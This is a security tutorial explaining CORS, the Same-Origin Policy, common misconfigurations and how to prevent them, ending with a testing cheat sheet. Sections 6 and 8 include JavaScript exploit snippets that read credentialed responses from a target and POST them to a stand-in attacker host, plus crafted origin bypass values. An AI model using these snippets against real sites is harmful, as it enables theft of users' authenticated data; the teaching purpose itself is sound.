

Cross-Origin Resource Sharing (CORS)

1. What is CORS (Cross-Origin Resource Sharing)?

Cross-Origin Resource Sharing (CORS) is a browser-based security mechanism that allows a web application running on one origin (domain) to request and access resources from a different origin, if explicitly permitted by the server.

CORS exists to relax the Same-Origin Policy (SOP) in a controlled manner. Without CORS, modern web applications that rely on APIs, CDNs, and third-party services would not function.

CORS is enforced by browsers, not by servers.

2. Same-Origin Policy (SOP)

2.1 What is the Same-Origin Policy?

The Same-Origin Policy is a core browser security concept that restricts how a document or script loaded from one origin can interact with resources from another origin.

An origin is defined by three components:

- Scheme (http or https)
- Host (domain)
- Port

All three must match for the origin to be considered the same.

2.2 SOP Examples

<https://example.com> → Same origin

<https://example.com:8080> → Different origin

<http://example.com> → Different origin

<https://api.example.com> → Different origin

2.3 Why SOP Exists

The Same-Origin Policy prevents:

- Reading sensitive data from another website
- Session hijacking via malicious websites
- Unauthorized API access

Without SOP, any website could read responses from banking portals, email services, or internal systems.

3. Relaxation of the Same-Origin Policy Using CORS

CORS allows servers to explicitly relax the Same-Origin Policy by returning specific HTTP headers.

Key header used:

Access-Control-Allow-Origin

Example:

Access-Control-Allow-Origin: <https://trusted-site.com>

This tells the browser that it is safe for <https://trusted-site.com> to read the response.

4. How CORS Works (High-Level Flow)

1. The browser sends a request with an Origin header
2. The server checks the Origin value
3. The server responds with CORS headers
4. The browser enforces access based on those headers

Example request:

GET /api/user

Host: target.com

Origin: <https://attacker.com>

Example response:

Access-Control-Allow-Origin: <https://attacker.com>

Access-Control-Allow-Credentials: true

If the origin is trusted, the browser allows JavaScript access to the response.

5. Vulnerabilities Arising from CORS Configuration Issues

Misconfigured CORS can allow attackers to read sensitive responses, even when authentication cookies are included.

CORS vulnerabilities are access-control issues, not injection issues.

6. Server-Generated ACAO Header from Client-Specified Origin

Vulnerable Configuration

The server reflects the Origin header directly.

Origin header sent by attacker:

Origin: <https://attacker.com>

Server response:

Access-Control-Allow-Origin: <https://attacker.com>

Access-Control-Allow-Credentials: true

Why This Is Dangerous

The server blindly trusts any origin supplied by the client.

Exploitation Example (JavaScript from attacker.com)

```
fetch("https://target.com/account", {
  credentials: "include"
})
.then(res ⇒ res.text())
.then(data ⇒ {
  fetch("https://attacker.com/log", {
    method: "POST",
    body: data
  });
});
```

Result

The browser sends the victim's cookies.

The sensitive response becomes readable.

The data is exfiltrated to the attacker.

7. Errors Parsing Origin Headers

Vulnerable Logic

The server performs weak string matching such as:

If origin contains "trusted.com", allow access.

Exploitable Origin Example

<https://trusted.com.attacker.com>

Resulting Header

Access-Control-Allow-Origin: <https://trusted.com.attacker.com>

Impact

Attackers bypass origin checks using crafted subdomains.

8. Whitelisted Null Origin Value

What is a Null Origin?

Browsers send Origin: null for:

- Sandboxed iframes
- Local files
- Data URLs
- Some redirect scenarios

Vulnerable Configuration

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

Exploitation Example

```
<iframe sandbox srcdoc="
<script>
fetch('https://target.com/private', {credentials:'include'})
```

```
.then(r ⇒ r.text())
.then(d ⇒ fetch('https://attacker.com/log', {
  method:'POST',
  body:d
}))
</script>
"></iframe>
```

Result

Sensitive data is exposed to an attacker-controlled context.

9. Exploiting XSS via CORS Trust Relationships

CORS can significantly amplify the impact of Cross-Site Scripting (XSS).

Scenario:

- Trusted site A contains an XSS vulnerability
- Target site B trusts site A via CORS

Result:

Injected JavaScript on site A can read authenticated responses from site B and steal cross-origin data.

CORS trust relationships must assume complete compromise of trusted origins.

10. Breaking TLS with Poorly Configured CORS

Vulnerable Configuration

Access-Control-Allow-Origin: <http://trusted-site.com>

Access-Control-Allow-Credentials: true

Problem

An HTTPS site trusts an HTTP origin.

An attacker performs a MITM attack on HTTP traffic.

Sensitive HTTPS responses are read via CORS.

TLS guarantees are broken due to misconfiguration.

11. Intranets and CORS Without Credentials

Internal APIs exposed using:

Access-Control-Allow-Origin: *

Even without credentials, attackers can access:

- Internal IP ranges
- Usernames
- Configuration details

This leads to internal information disclosure.

12. How to Prevent CORS-Based Attacks

Proper Configuration of Cross-Origin Requests

- Strictly validate Origin values
- Match full origin strings
- Never reflect Origin blindly

Only Allow Trusted Sites

Access-Control-Allow-Origin: <https://app.company.com>

Trusted sites must be secure, free from XSS, and fully controlled by the organization.

Avoid Whitelisting Null

Never allow:

Access-Control-Allow-Origin: null

Avoid Wildcards in Internal Networks

Never use:

Access-Control-Allow-Origin: *

for internal or authenticated endpoints.

CORS Is Not a Substitute for Server-Side Security

CORS only controls browser access.

It does not enforce authentication.

It does not replace authorization.

Servers must always authenticate users, authorize actions, and validate data.

13. CORS Testing and Exploitation Cheat Sheet

Reflected Origin Test:

Origin: <https://evil.com>

Check for:

Access-Control-Allow-Origin: <https://evil.com>

Credentialed Request Test:

```
fetch("https://target.com/api", { credentials: "include" })
```

Subdomain Bypass Test:

<https://trusted.com.attacker.com>

Null Origin Test:

Origin: null

Dangerous Combination:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

This configuration is invalid but still seen in real-world applications.

14. CORS vs CSRF vs XSS Comparison

CORS is browser enforced and allows reading responses.

CSRF is browser enforced and changes state.

XSS allows JavaScript execution and data access.

15. Summary

CORS is a powerful but dangerous mechanism when misconfigured. Although designed to safely relax the Same-Origin Policy, incorrect trust decisions can expose sensitive data, bypass authentication boundaries, and even break TLS guarantees.

Key takeaways:

Never trust client-supplied Origin headers blindly.

Treat trusted origins as fully compromised.

Avoid wildcards and null origins.

CORS is not a security control by itself.

Defense must always be enforced server-side.
